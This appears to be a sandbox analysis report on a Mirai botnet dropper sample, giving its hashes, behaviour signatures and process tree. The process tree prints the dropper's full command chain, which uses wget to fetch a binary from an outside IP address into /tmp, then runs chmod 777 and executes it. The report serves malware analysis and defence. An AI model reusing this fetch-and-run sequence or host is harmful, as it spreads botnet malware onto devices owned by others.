Overview

overview

10

Static

static

1

e1238a13a4...4bf2b8

ubuntu-18.04-amd64

10

e1238a13a4...4bf2b8

debian-9-armhf

10

e1238a13a4...4bf2b8

debian-9-mips

10

e1238a13a4...4bf2b8

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/10/2026, 03:29

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General

  • Target
    e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
  • Size 1KB
  • Sample261030-d2d94adb64
  • SHA256 e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetdefense_evasiondiscoverymirai

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
    /tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
    1⤵
    • Executes dropped EXE
    PID:1518
    • /bin/uname
      uname -m
      2⤵
        PID:1520
      • /bin/pidof
        pidof x86
        2⤵
        • Reads runtime system information
        PID:1521
      • /bin/rm
        rm -f /tmp/x86
        2⤵
          PID:1522
        • /usr/bin/wget
          wget -q http://103.210.144.11/backups/.../x86 -O /tmp/x86
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /bin/chmod
          chmod 777 /tmp/x86
          2⤵
          • File and Directory Permissions Modification
          PID:1533
        • /usr/bin/id
          id -u
          2⤵
            PID:1534
          • /bin/rm
            rm cute
            2⤵
              PID:1537
            • /tmp/x86
              /tmp/x86 x86
              2⤵
              • Modifies Watchdog functionality
              PID:1536
          • /tmp/x86
            /tmp/x86 x86
            1⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:1535

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                x86
                • Path /tmp/x86
                • Size 53KB
                • SHA256 fa82dfe8e721d341d1c3f4d6c10c7aa1b8da1309e15835bfe2e614d4f1f45c22
                • MD5 SHA1 SHA512 SSDEEP TLSH
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